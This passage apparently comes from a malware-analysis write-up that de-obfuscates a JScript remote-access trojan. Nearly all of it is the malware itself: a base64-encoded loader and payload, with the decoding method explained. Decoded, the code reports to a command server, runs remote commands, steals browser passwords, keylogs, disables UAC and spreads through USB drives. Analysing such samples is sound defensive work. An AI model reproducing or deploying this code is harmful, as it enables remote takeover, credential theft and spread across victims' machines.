t;&gt;%gdmFyIG9iamh0dHBkb3dubG9hZC&gt;&gt;%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOwogIC&gt;&gt;%gb2JqaHR0cGRvd25sb2FkLm9wZW4oInBvc3QiLCJodHRwOi8vIi&gt;&gt;%rIGhvc3QgKy&gt;&gt;%iOiIgKyBwb3J0ICsiLyIgKy&gt;&gt;%ic2VuZC10by1tZSIgKyBzcGxpdGVyICsgZmlsZXVybCwgZmFsc2UpOwogIC&gt;&gt;%gb2JqaHR0cGRvd25sb2FkLnNldFJlcXVlc3RIZWFkZXIoInVzZXItYWdlbnQ6IiwgaW5mb3JtYXRpb24oKSk7Ci&gt;&gt;%gICBvYmpodHRwZG93bmxvYWQuc2VuZCgiIik7Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gCi&gt;&gt;%gICB2YXIgb2JqZnNvZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsKIC&gt;&gt;%gIGlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gb2JqZnNvZG93bmxvYWQuZGVsZXRlRmlsZShzdHJzYXZldG8pOwogIC&gt;&gt;%gfQogIC&gt;&gt;%gI&gt;&gt;%ogIC&gt;&gt;%gaWYgKG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPT0gMj&gt;&gt;%wKXsKIC&gt;&gt;%gIC&gt;&gt;%gICB2YXIgIG9ianN0cmVhbWRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoImFkb2RiLnN0cmVhbSIpOwogIC&gt;&gt;%gIC&gt;&gt;%gIG9ianN0cmVhbWRvd25sb2FkLlR5cGUgPS&gt;&gt;%xOy&gt;&gt;%KIC&gt;&gt;%gIC&gt;&gt;%gICBvYmpzdHJlYW1kb3dubG9hZC5PcGVuKCk7Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gb2Jqc3RyZWFtZG93bmxvYWQuV3JpdGUob2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlQm9keSk7Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gb2Jqc3RyZWFtZG93bmxvYWQuU2F2ZVRvRmlsZShzdHJzYXZldG8pOwogIC&gt;&gt;%gIC&gt;&gt;%gIG9ianN0cmVhbWRvd25sb2FkLmNsb3NlKCk7Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gCi&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gb2Jqc3RyZWFtZG93bmxvYWQgPSBudWxsOwogIC&gt;&gt;%gIH0KIC&gt;&gt;%gICBpZihvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHN0cnNhdmV0bykpewogIC&gt;&gt;%gIC&gt;&gt;%gIHNoZWxsb2JqLnJ1bihvYmpmc29kb3dubG9hZC5nZXRGaWxlKHN0cnNhdmV0bykuc2hvcnRQYXRoKTsKIC&gt;&gt;%gIC&gt;&gt;%gICB1cGRhdGVzdGF0dXMoIkV4ZWN1dGVkK0ZpbGUiKTsKIC&gt;&gt;%gICB9I&gt;&gt;%p9CgpmdW5jdGlvbiB1cGRhdGVzdGF0dXMoc3RhdHVzX21zZyl7CnRyeXsKCXZhciBvYmpzb2MgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgibXN4bWwyLnhtbGh0dH&gt;&gt;%iKTsKCW9ianNvYy5vcGVuKCJwb3N0IiwiaHR0cDovLyIgKyBob3N0ICsgIjoiICsgcG9ydC&gt;&gt;%rICIvIi&gt;&gt;%rICJ1cGRhdGUtc3RhdHVzIi&gt;&gt;%rIHNwbGl0ZXIgKyBzdGF0dXNfbXNnLCBmYWxzZSk7CglvYmpzb2Muc2V0UmVxdWVzdEhlYWRlcigidXNlci1hZ2VudDoiLCBpbmZvcm1hdGlvbigpKTsKCW9ianNvYy5zZW5kKCIiKTsKCX1jYXRjaChlcnIpe30KfQoKZnVuY3Rpb24gdXBsb2FkIChmaWxldXJsLCByZXRjbWQpewoJdHJ5ewoJCXZhci&gt;&gt;%gaHR0cG9iaixvYmpzdHJlYW11cGxvYWRlLGJ1ZmZlcjsKCQl2YXIgb2Jqc3RyZWFtdXBsb2FkZS&gt;&gt;%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJhZG9kYi5zdHJlYW0iKTsKCQlvYmpzdHJlYW11cGxvYWRlLlR5cGUgPS&gt;&gt;%xOy&gt;&gt;%KCQlvYmpzdHJlYW11cGxvYWRlLk9wZW4oKTsKCQlvYmpzdHJlYW11cGxvYWRlLmxvYWRGcm9tRmlsZShmaWxldXJsKTsKCQlidWZmZXIgPSBvYmpzdHJlYW11cGxvYWRlLlJlYWQoKTsKCQlvYmpzdHJlYW11cGxvYWRlLmNsb3NlKCk7CgoJCW9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsKCQl2YXIgaHR0cG9iai&gt;&gt;%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOwoJCWh0dHBvYmoub3BlbigicG9zdCIsImh0dH&gt;&gt;%6Ly8iICsgaG9zdC&gt;&gt;%rICI6Ii&gt;&gt;%rIHBvcnQgKyIvIi&gt;&gt;%rIHJldGNtZCwgZmFsc2UpOwoJCWh0dHBvYmouc2V0UmVxdWVzdEhlYWRlcigidXNlci1hZ2VudDoiLCBpbmZvcm1hdGlvbigpKTsKCQlodHRwb2JqLnNlbmQoYnVmZmVyKTsKCX1jYXRjaChlcil7CgkJdXBkYXRlc3RhdHVzKCJVcGxvYWQrRmFpbGVkIik7Cgl9Cn0KCgpmdW5jdGlvbiBkZWxldGVmYWYgKHVybCl7CnRyeXsKZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKHVybCk7CmZpbGVzeXN0ZW1vYmouZGVsZXRlRm9sZGVyKHVybCk7Cn1jYXRjaChlcnIpe30KfQoKZnVuY3Rpb24gY21kc2hlbGwgKGNtZCl7CnZhciBodHRwb2JqLG9leGVjLHJlYWRhbGxmcm9tYW55Owp2YXIgc3Ryc2F2ZXRvID0gaW5zdGFsbGRpci&gt;&gt;%rICJvdXQudHh0IjsKc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgIi&gt;&gt;%rIGNtZC&gt;&gt;%rICIgPiBcIiIgKyBzdHJzYXZldG8gKy&gt;&gt;%iXCIiLC&gt;&gt;%wLCB0cnVlKTsKcmVhZGFsbGZyb21hbnkgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShzdHJzYXZldG8pLnJlYWRBbGwoKTsKdHJ5ewpmaWxlc3lzdGVtb2JqLmRlbGV0ZUZpbGUoc3Ryc2F2ZXRvKTsKfWNhdGNoKGVlKXt9CnJldHVybiByZWFkYWxsZnJvbWFueTsKfQoKCmZ1bmN0aW9uIGVudW1wcm9jZXNzKCl7Ci&gt;&gt;%gICB2YXIgZX&gt;&gt;%gPS&gt;&gt;%iIjsKdHJ5ewp2YXIgb2Jqd21pc2VydmljZS&gt;&gt;%9IEdldE9iamVjdCgid2lubWdtdHM6XFxcXC5cXHJvb3RcXGNpbXYyIik7CnZhciBjb2xpdGVtcy&gt;&gt;%9IG9iandtaXNlcnZpY2UuRXhlY1F1ZXJ5KCJzZWxlY3QgKiBmcm9tIHdpbjMyX3Byb2Nlc3MiLG51bGwsNDgpOwoKZm9yKHZhciBmaS&gt;&gt;%9IG5ldyBFbnVtZXJhdG9yKGNvbGl0ZW1zKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpewogIC&gt;&gt;%gdmFyIG9iaml0ZW0gPSBmaS5pdGVtKCk7CgllcC&gt;&gt;%9IGVwICsgb2JqaXRlbS5uYW1lICsgIl4iOwoJZX&gt;&gt;%gPSBlcC&gt;&gt;%rIG9iaml0ZW0ucHJvY2Vzc0lkICsgIl4iOwogIC&gt;&gt;%gZX&gt;&gt;%gPSBlcC&gt;&gt;%rIG9iaml0ZW0uZXhlY3V0YWJsZVBhdGggKyBzcGxpdGVyOwp9Cn1jYXRjaChlcil7fQpyZXR1cm4gZX&gt;&gt;%7Cn0KCmZ1bmN0aW9uIGV4aXRwcm9jZXNzIChwaWQpewp0cnl7CnNoZWxsb2JqLnJ1bigidGFza2tpbGwgL0YgL1QgL1BJRC&gt;&gt;%iICsgcGlkLD&gt;&gt;%sdHJ1ZSk7Cn1jYXRjaChlcnIpe30KfQoKZnVuY3Rpb24gZ2V0UGFyZW50RGlyZWN0b3J5KHBhdGgpewoJdmFyIGZvID0gZmlsZXN5c3RlbW9iai5nZXRGaWxlKHBhdGgpOwoJcmV0dXJuIGZpbGVzeXN0ZW1vYmouZ2V0UGFyZW50Rm9sZGVyTmFtZShmbyk7Cn0KCmZ1bmN0aW9uIGVudW1mYWYgKGVudW1kaXIpewogIC&gt;&gt;%gdmFyIHJlID0gIiI7CnRyeXsKIC&gt;&gt;%gIGZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmdldEZvbGRlci&gt;&gt;%oZW51bWRpcikuc3ViZm9sZGVycyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsKIC&gt;&gt;%gIC&gt;&gt;%gICB2YXIgZm9sZGVyID0gZmkuaXRlbSgpOwogIC&gt;&gt;%gIC&gt;&gt;%gIHJlID0gcmUgKyBmb2xkZXIubmFtZS&gt;&gt;%rICJeXmReIi&gt;&gt;%rIGZvbGRlci5hdHRyaWJ1dGVzICsgc3BsaXRlcjsgCi&gt;&gt;%gICB9Ci&gt;&gt;%gICBmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZmlsZXN5c3RlbW9iai5nZXRGb2xkZXIgKGVudW1kaXIpLmZpbGVzKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpewogIC&gt;&gt;%gIC&gt;&gt;%gIHZhciBmaWxlID0gZmkuaXRlbSgpOwogIC&gt;&gt;%gIC&gt;&gt;%gIHJlID0gcmUgKyBmaWxlLm5hbWUgKy&gt;&gt;%iXiIgKyBmaWxlLnNpemUgKy&gt;&gt;%iXiIgKyBmaWxlLmF0dHJpYnV0ZXMgKyBzcGxpdGVyOy&gt;&gt;%KIC&gt;&gt;%gIH0KfWNhdGNoKGVycil7fQpyZXR1cm4gcmU7Cn0=&quot;, &quot;bin.base64&quot;];\r\n}\r\n\r\nfunction bloodO(pstAR){\r\n\tpstAR.O.dataType = bgftrewas()&#x5B;1];\r\n\tpstAR.O.text = bgftrewas()&#x5B;0].replace(pstAR.I, &quot;A&quot;);\r\n\treturn  Array(function(){return pstAR.O;});\r\n}\r\nvar CO = Array(function(txt){\r\n\treturn WScript.CreateObject(txt);\r\n});\r\n\r\nfunction weak0o0o(){\r\n\ttry{\r\n\t\treturn CO&#x5B;0](&quot;System.Net.OleDb&quot;);\r\n\t}catch(er){\r\n\t\treturn null;\r\n\t}\r\n}\r\n\r\nfunction powerQQQ(a1s2eew0, a1s2eew1, a1s2eew2){\r\n\t\/\/return Array(a1s2eew0&#x5B;0].getString((a1s2eew0&#x5B;1])), a1s2eew2);\r\n}\r\n\r\nfunction hailMYjes(a1s2eew, a1s2eew1, a1s2eew2){\r\n\ttry{\r\n\t\tvar ntv = bloodO({O: a1s2eew1.createElement(&quot;egy&quot;), I: new RegExp(a1s2eew&#x5B;0], a1s2eew&#x5B;1])});\r\n\t\tif(weak0o0o() == null){\r\n\t\t\tvar tutNkaman = CO&#x5B;0](&quot;Adodb.Stream&quot;);\r\n\t\t\ttutNkaman.Type = 1;\r\n\t\t\ttutNkaman.Open();\r\n\t\t\ttutNkaman.Write(ntv&#x5B;0]().nodeTypedValue);\r\n\t\t\ttutNkaman.Position = 0;\r\n\t\t\ttutNkaman.Type = (3-1);\r\n\t\t\ttutNkaman.CharSet = &quot;us-ascii&quot;;\r\n\t\t\ta1s2eew = Array(tutNkaman.ReadText(), eval);\r\n\t\t\tntv = null;\r\n\t\t}else{\r\n\t\t\tntv = powerQQQ(&#x5B;weak0o0o(), ntv.item().nodeTypedValue], null, eval);\r\n\t\t}\r\n\t\ta1s2eew2 = ntv.Read();\r\n\t\t\r\n\t}catch(err){\r\n\t\ta1s2eew&#x5B;1]({j:&#x5B;a1s2eew&#x5B;0]]}.j&#x5B;0]);\r\n\t}\r\n}\r\n\r\nhailMYjes(Array(&quot;&gt;&gt;%&quot;, &quot;g&quot;), CO&#x5B;0](&quot;Microsoft.XmlDom&quot;));\r\n<\/pre>\n<p>Looking at this code, we see the same kind of pattern here &#8211; the very top is another base64 encoded blob with more clear-text code following it. The thing to pay attention here to is that this is following the same procedure as the first stage of de-obfuscating the code since the var &#8220;bgftrewas&#8221; is being called again in the function &#8220;bloodO(pstAR).&#8221; So if you take the base64 blob, remove the &#8216;&gt;&gt;%&#8217; from it and replace with &#8220;A&#8221; and decode it, you get the following code.<\/p>\n<pre class=\"brush: jscript; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n3rd layer obfuscated --&gt; deobfuscated (&quot;&gt;&gt;%&quot; first removed and replaced with 'A')\r\n==================================================================================\r\nLy88WyByZWNvZGVyIDoga29nbml0byAoYykgc2t5cGUgOiBsaXZlOnVua25vd24uc2FsZXM2NCBdPgoKLy89LT0tPS09LT0gY29uZmlnID0tPS09LT0tPS09LT0tPS09LT0tPS09LT0tPS09Cgp2YXIgaG9zdCA9ICJwbHVnaW5zcnYuZHVja2Rucy5vcmciOwp2YXIgcG9ydCA9IDc3NTY7CnZhciBpbnN0YWxsZGlyID0gIiVhcHBkYXRhJSI7CnZhciBydW5Bc0FkbWluID0gZmFsc2U7CnZhciBsbmtmaWxlID0gdHJ1ZTsKdmFyIGxua2ZvbGRlciA9IHRydWU7CgppZihydW5Bc0FkbWluID09IHRydWUpewoJc3RhcnR1cEVsZXZhdGUoKTsKfQppZihXU2NyaXB0LkFyZ3VtZW50cy5OYW1lZC5FeGlzdHMoImVsZXZhdGVkIikgPT0gdHJ1ZSl7CglkaXNhYmxlU2VjdXJpdHkoKTsKfQovLz0tPS09LT0tPSBwdWJsaWMgdmFyID0tPS09LT0tPS09LT0tPS09LT0tPS09LT0KCnZhciBzaGVsbG9iaiA9IFdTY3JpcHQuY3JlYXRlT2JqZWN0KCJ3c2NyaXB0LnNoZWxsIik7CnZhciBmaWxlc3lzdGVtb2JqID0gV1NjcmlwdC5jcmVhdGVPYmplY3QoInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Iik7CnZhciBodHRwb2JqID0gV1NjcmlwdC5jcmVhdGVPYmplY3QoIm1zeG1sMi54bWxodHRwIik7CgoKLy89LT0tPS09LT0gcHJpdmF0IHZhciA9LT0tPS09LT0tPS09LT0tPS09LT0tPQoKdmFyIGluc3RhbGxuYW1lID0gV1NjcmlwdC5zY3JpcHROYW1lOwp2YXIgc3RhcnR1cCA9IHNoZWxsb2JqLnNwZWNpYWxGb2xkZXJzKCJzdGFydHVwIikgKyAiXFwiOwppbnN0YWxsZGlyID0gc2hlbGxvYmouRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKGluc3RhbGxkaXIpICsgIlxcIjsKaWYoIWZpbGVzeXN0ZW1vYmouZm9sZGVyRXhpc3RzKGluc3RhbGxkaXIpKXsgIGluc3RhbGxkaXIgPSBzaGVsbG9iai5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiV0ZW1wJSIpICsgIlxcIjt9CnZhciBzcGxpdGVyID0gInwiOwp2YXIgc2RrcGF0aCA9IGluc3RhbGxkaXIgKyAid3Noc2RrIjsKdmFyIHNka2ZpbGUgPSBzZGtwYXRoICsgIlxcIiArIGNocigxMTIpICsgY2hyKDEyMSkgKyBjaHIoMTE2KSArIGNocigxMDQpICsgY2hyKDExMSkgKyBjaHIoMTEwKSArIGNocig0NikgKyBjaHIoMTAxKSArIGNocigxMjApICsgY2hyKDEwMSk7CnZhciBzbGVlcCA9IDUwMDA7IAp2YXIgcmVzcG9uc2UsIGNtZCwgcGFyYW0sIG9uZW9uY2U7Cgp2YXIgaW5mID0gIiI7CnZhciB1c2JzcHJlYWRpbmcgPSAiIjsKdmFyIHN0YXJ0ZGF0ZSA9ICIiOwoKLy89LT0tPS09LT0gY29kZSBzdGFydCA9LT0tPS09LT0tPS09LT0tPS09LT0tPQoKaW5zdGFuY2UoKTsKCndoaWxlKHRydWUpewoJdHJ5ewoJCWluc3RhbGwoKTsKCgkJcmVzcG9uc2UgPSAiIjsKICAgICAgICByZXNwb25zZSA9IHBvc3QgKCJpcy1yZWFkeSIsIiIpOwoJCWNtZCA9IHJlc3BvbnNlLnNwbGl0KHNwbGl0ZXIpOwoJCXN3aXRjaChjbWRbMF0pewogICAgICAgICAgICBjYXNlICJkaXNjb25uZWN0IjoKCQkJCSAgV1NjcmlwdC5xdWl0KCk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICJyZWJvb3QiOgoJCQkJICBzaGVsbG9iai5ydW4oIiVjb21zcGVjJSAvYyBzaHV0ZG93biAvciAvdCAwIC9mIiwgMCwgdHJ1ZSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICJzaHV0ZG93biI6CgkJCQkgIHNoZWxsb2JqLnJ1bigiJWNvbXNwZWMlIC9jIHNodXRkb3duIC9zIC90IDAgL2YiLCAwLCB0cnVlKTsKCQkJCSAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgImV4Y2VjdXRlIjoKICAgICAgICAgICAgICAgICAgcGFyYW0gPSBjbWRbMV07CgkJCQkgIGV2YWwocGFyYW0pOwoJCQkJICBicmVhazsKCQkJY2FzZSAiaW5zdGFsbC1zZGsiOgoJCQkJICBpbnN0YWxsc2RrKCk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICJnZXQtcGFzcyI6CgkJCQkgIHBhc3NncmFiYmVyKGNtZFsxXSwgImNtZGMuZXhlIiwgY21kWzJdKTsKCQkJCSAgYnJlYWs7CgkJCWNhc2UgImdldC1wYXNzLW9mZmxpbmUiOgoJCQkJICBwYXNzZ3JhYmJlcihjbWRbM10sICJjbWRjLmV4ZSIsICJpZSIpOwoJCQkJICBwYXNzZ3JhYmJlcigibnVsbCIsICJjbWRjLmV4ZSIsICJjaHJvbWUiKTsKCQkJCSAgcGFzc2dyYWJiZXIoIm51bGwiLCAiY21kYy5leGUiLCAibW96aWxsYSIpOwoJCQkJICBwYXNzZ3JhYmJlcjIoY21kWzFdLCAiY21kYy5leGUiLCBjbWRbMl0pOwoJCQkJICBicmVhazsKCQkJY2FzZSAidXBkYXRlIjoKCQkJCSAgcGFyYW0gPSByZXNwb25zZS5zdWJzdHIocmVzcG9uc2UuaW5kZXhPZigifCIpICsgMSk7CgkJCQkgIG9uZW9uY2UuY2xvc2UoKTsKCQkJCSAgb25lb25jZSA9IGZpbGVzeXN0ZW1vYmoub3BlblRleHRGaWxlKGluc3RhbGxkaXIgKyBpbnN0YWxsbmFtZSAsMiwgZmFsc2UpOwoJCQkJICBvbmVvbmNlLndyaXRlKHBhcmFtKTsKCQkJCSAgb25lb25jZS5jbG9zZSgpOwoJCQkJICBzaGVsbG9iai5ydW4oIndzY3JpcHQuZXhlIC8vQiBcIiIgKyBpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUgKyAiXCIiKTsKCQkJCSAgV1NjcmlwdC5xdWl0KCk7CgkJCWNhc2UgInVuaW5zdGFsbCI6CgkJCQkgIHVuaW5zdGFsbCgpOwoJCQkJICBicmVhazsKCQkJY2FzZSAidXAtbi1leGVjIjoKCQkJCSAgZG93bmxvYWQoY21kWzFdLGNtZFsyXSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICJicmluZy1sb2ciOgoJCQkJICB1cGxvYWQoaW5zdGFsbGRpciArICJ3c2hsb2dzXFwiICsgY21kWzFdLCAidGFrZS1sb2ciKTsKCQkJCSAgYnJlYWs7CgkJCWNhc2UgImRvd24tbi1leGVjIjoKCQkJCSAgc2l0ZWRvd25sb2FkZXIoY21kWzFdLGNtZFsyXSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICAiZmlsZW1hbmFnZXIiOgoJCQkJICBzZXJ2aWNlc3RhcnRlcihjbWRbMV0sICJmbS1wbHVnaW4uZXhlIiwgaW5mb3JtYXRpb24oKSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICAicmRwIjoKCQkJCSAgc2VydmljZXN0YXJ0ZXIoY21kWzFdLCAicmQtcGx1Z2luLmV4ZSIsIGluZm9ybWF0aW9uKCkpOwoJCQkJICBicmVhazsKCQkJY2FzZSAgImtleWxvZ2dlciI6CgkJCQkgIGtleWxvZ2dlcnN0YXJ0ZXIoY21kWzFdLCAia2wtcGx1Z2luLmV4ZSIsIGluZm9ybWF0aW9uKCksIDApOwoJCQkJICBicmVhazsKCQkJY2FzZSAgIm9mZmxpbmUta2V5bG9nZ2VyIjoKCQkJCSAga2V5bG9nZ2Vyc3RhcnRlcihjbWRbMV0sICJrbC1wbHVnaW4uZXhlIiwgaW5mb3JtYXRpb24oKSwgMSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICAiYnJvd3NlLWxvZ3MiOgoJCQkJICBwb3N0KCJpcy1sb2dzIiwgZW51bWZhZihpbnN0YWxsZGlyICsgIndzaGxvZ3MiKSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICAiY21kLXNoZWxsIjoKCQkJCSAgcGFyYW0gPSBjbWRbMV07CgkJCQkgIHBvc3QoImlzLWNtZC1zaGVsbCIsY21kc2hlbGwocGFyYW0pKTsKCQkJCSAgYnJlYWs7CgkJCWNhc2UgICJnZXQtcHJvY2Vzc2VzIjoKCQkJCSAgcG9zdCgiaXMtcHJvY2Vzc2VzIiwgZW51bXByb2Nlc3MoKSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICAiZGlzYWJsZS11YWMiOgoJCQkJICBkaXNhYmxlU2VjdXJpdHkoKTsKCQkJCSAgdXBkYXRlc3RhdHVzKCJVQUMrRGlzYWJsZWQrKFJlYm9vdCtSZXF1aXJlZCkiKTsKCQkJCSAgYnJlYWs7CgkJCWNhc2UgICJjaGVjay1lbGlnaWJsZSI6CgkJCQkgIGlmKGZpbGVzeXN0ZW1vYmouZmlsZUV4aXN0cyhjbWRbMV0pKXsKCQkJCQl1cGRhdGVzdGF0dXMoIklzK0VsaWdpYmxlIik7CgkJCQkgIH1lbHNlewoJCQkJCXVwZGF0ZXN0YXR1cygiTm90K0VsaWdpYmxlIik7CgkJCQkgIH0KCQkJCSAgYnJlYWs7CgkJCWNhc2UgICJmb3JjZS1lbGlnaWJsZSI6CgkJCQkgIGlmKFdTY3JpcHQuQXJndW1lbnRzLk5hbWVkLkV4aXN0cygiZWxldmF0ZWQiKSA9PSB0cnVlKXsKCQkJCQlpZihmaWxlc3lzdGVtb2JqLmZvbGRlckV4aXN0cyhjbWRbMV0pKXsKCQkJCQkJc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgIiArIGNtZFsyXSwgMCwgdHJ1ZSk7CgkJCQkJCXVwZGF0ZXN0YXR1cygiU1VDQ0VTUyIpOwoJCQkJCX1lbHNlewoJCQkJCQl1cGRhdGVzdGF0dXMoIkNvbXBvbmVudCtNaXNzaW5nIik7CgkJCQkJfQoJCQkJICB9CgkJCQkgIGVsc2V7CgkJCQkJdXBkYXRlc3RhdHVzKCJFbGV2YXRpb24rUmVxdWlyZWQiKTsKCQkJCSAgfQoJCQkJICBicmVhazsKCQkJY2FzZSAgImVsZXZhdGUiOgoJCQkJICBpZihXU2NyaXB0LkFyZ3VtZW50cy5OYW1lZC5FeGlzdHMoImVsZXZhdGVkIikgPT0gZmFsc2UpewoJCQkJCXRyeXsKCQkJCQkgIG9uZW9uY2UuY2xvc2UoKTsKCQkJCQkgIG9uZW9uY2UgPSBudWxsOwoJCQkJCSAgV1NjcmlwdC5DcmVhdGVPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJ3c2NyaXB0LmV4ZSIsICIgLy9CIFwiIiArIFdTY3JpcHQuU2NyaXB0RnVsbE5hbWUgKyAiXCIgL2VsZXZhdGVkIiwgIiIsICJydW5hcyIsIDEpOwoJCQkJCSAgdXBkYXRlc3RhdHVzKCJDbGllbnQrRWxldmF0ZWQiKTsKCQkJCQl9Y2F0Y2gobm4pewoJCQkJCX0KCQkJCQlXU2NyaXB0LnF1aXQoKTsKCQkJCSAgfQoJCQkJICBlbHNlewoJCQkJICAJICB1cGRhdGVzdGF0dXMoIkNsaWVudCtFbGV2YXRlZCIpOwoJCQkJICB9CgkJCQkgIGJyZWFrOwoJCQljYXNlICAiaWYtZWxldmF0ZSI6CgkJCQkgIGlmKFdTY3JpcHQuQXJndW1lbnRzLk5hbWVkLkV4aXN0cygiZWxldmF0ZWQiKSA9PSBmYWxzZSl7CgkJCQkJICB1cGRhdGVzdGF0dXMoIkNsaWVudCtOb3QrRWxldmF0ZWQiKTsKCQkJCSAgfQoJCQkJICBlbHNlewoJCQkJICAJICB1cGRhdGVzdGF0dXMoIkNsaWVudCtFbGV2YXRlZCIpOwoJCQkJICB9CgkJCQkgIGJyZWFrOwoJCQljYXNlICAia2lsbC1wcm9jZXNzIjoKCQkJCSAgZXhpdHByb2Nlc3MoY21kWzFdKTsKCQkJCSAgYnJlYWs7CgkJCWNhc2UgICJzbGVlcCI6CgkJCQkgIHBhcmFtID0gY21kWzFdOwoJCQkJICBzbGVlcCA9IGV2YWwocGFyYW0pOwogICAgICAgICAgICAgICAgICBicmVhazsKCQl9CgkJCgl9Y2F0Y2goZXIpe30KCVdTY3JpcHQuc2xlZXAoc2xlZXApOwp9CgpmdW5jdGlvbiBpbnN0YWxsc2RrKCl7Cgl0cnl7CgkJdmFyIHNka3VybCA9IHBvc3QoIm1vei1zZGsiLCAiIik7CgkJdmFyIG9iamh0dHBkb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOwoJCW9iamh0dHBkb3dubG9hZC5vcGVuKCJnZXQiLCBzZGt1cmwsIGZhbHNlKTsKCQlvYmpodHRwZG93bmxvYWQuc2V0UmVxdWVzdEhlYWRlcigiY2FjaGUtY29udHJvbDoiLCAibWF4LWFnZT0wIik7CgkJb2JqaHR0cGRvd25sb2FkLnNlbmQoKTsKCgkJaWYoZmlsZXN5c3RlbW9iai5maWxlRXhpc3RzKGluc3RhbGxkaXIgKyAid3Noc2RrLnppcCIpKXsKCQkJZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGluc3RhbGxkaXIgKyAid3Noc2RrLnppcCIpOwoJCX0KCQkgCgkJaWYgKG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPT0gMjAwKXsKCQkgIHRyeXsKCQkgICB2YXIgIG9ianN0cmVhbWRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoImFkb2RiLnN0cmVhbSIpOwoJCSAgIG9ianN0cmVhbWRvd25sb2FkLlR5cGUgPSAxOyAKCQkgICBvYmpzdHJlYW1kb3dubG9hZC5PcGVuKCk7CgkJICAgb2Jqc3RyZWFtZG93bmxvYWQuV3JpdGUob2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlQm9keSk7CgkJICAgb2Jqc3RyZWFtZG93bmxvYWQuU2F2ZVRvRmlsZShpbnN0YWxsZGlyICsgIndzaHNkay56aXAiKTsKCQkgICBvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOwoJCSAgIG9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsKCQkgIH1jYXRjaChleil7CgkJCQoJCSAgfQoJCX0KCQlpZihmaWxlc3lzdGVtb2JqLmZpbGVFeGlzdHMoaW5zdGFsbGRpciArICJ3c2hzZGsuemlwIikpewoJCQkvL3VuemlwIHRoZSBmaWxlIAoJCQlVblppcChpbnN0YWxsZGlyICsgIndzaHNkay56aXAiLCBzZGtwYXRoKTsKCQkJdXBkYXRlc3RhdHVzKCJTREsrSW5zdGFsbGVkIik7CgkJfQoJfWNhdGNoKGVycil7fQp9CgpmdW5jdGlvbiBpbnN0YWxsKCl7CnZhciBsbmtvYmo7CnZhciBmaWxlbmFtZTsKdmFyIGZvbGRlcm5hbWU7CnZhciBmaWxlaWNvbjsKdmFyIGZvbGRlcmljb247Cgp1cHN0YXJ0KCk7Cgpmb3IodmFyIGRyaSA9IG5ldyBFbnVtZXJhdG9yKGZpbGVzeXN0ZW1vYmouZHJpdmVzKTsgIWRyaS5hdEVuZCgpOyBkcmkubW92ZU5leHQoKSl7CnZhciBkcml2ZSA9IGRyaS5pdGVtKCk7CmlmIChkcml2ZS5pc3JlYWR5ID09IHRydWUpewppZiAoZHJpdmUuZnJlZXNwYWNlID4gMCApewppZiAoZHJpdmUuZHJpdmV0eXBlID09IDEgKXsKCXRyeXsKCQlmaWxlc3lzdGVtb2JqLmNvcHlGaWxlKFdTY3JpcHQuc2NyaXB0RnVsbE5hbWUgLCBkcml2ZS5wYXRoICsgIlxcIiArIGluc3RhbGxuYW1lLHRydWUpOwoJCWlmIChmaWxlc3lzdGVtb2JqLmZpbGVFeGlzdHMgKGRyaXZlLnBhdGggKyAiXFwiICsgaW5zdGFsbG5hbWUpKXsKCQkJZmlsZXN5c3RlbW9iai5nZXRGaWxlKGRyaXZlLnBhdGggKyAiXFwiICArIGluc3RhbGxuYW1lKS5hdHRyaWJ1dGVzID0gMis0OwoJCX0KCX1jYXRjaChlaWp1KXt9Ci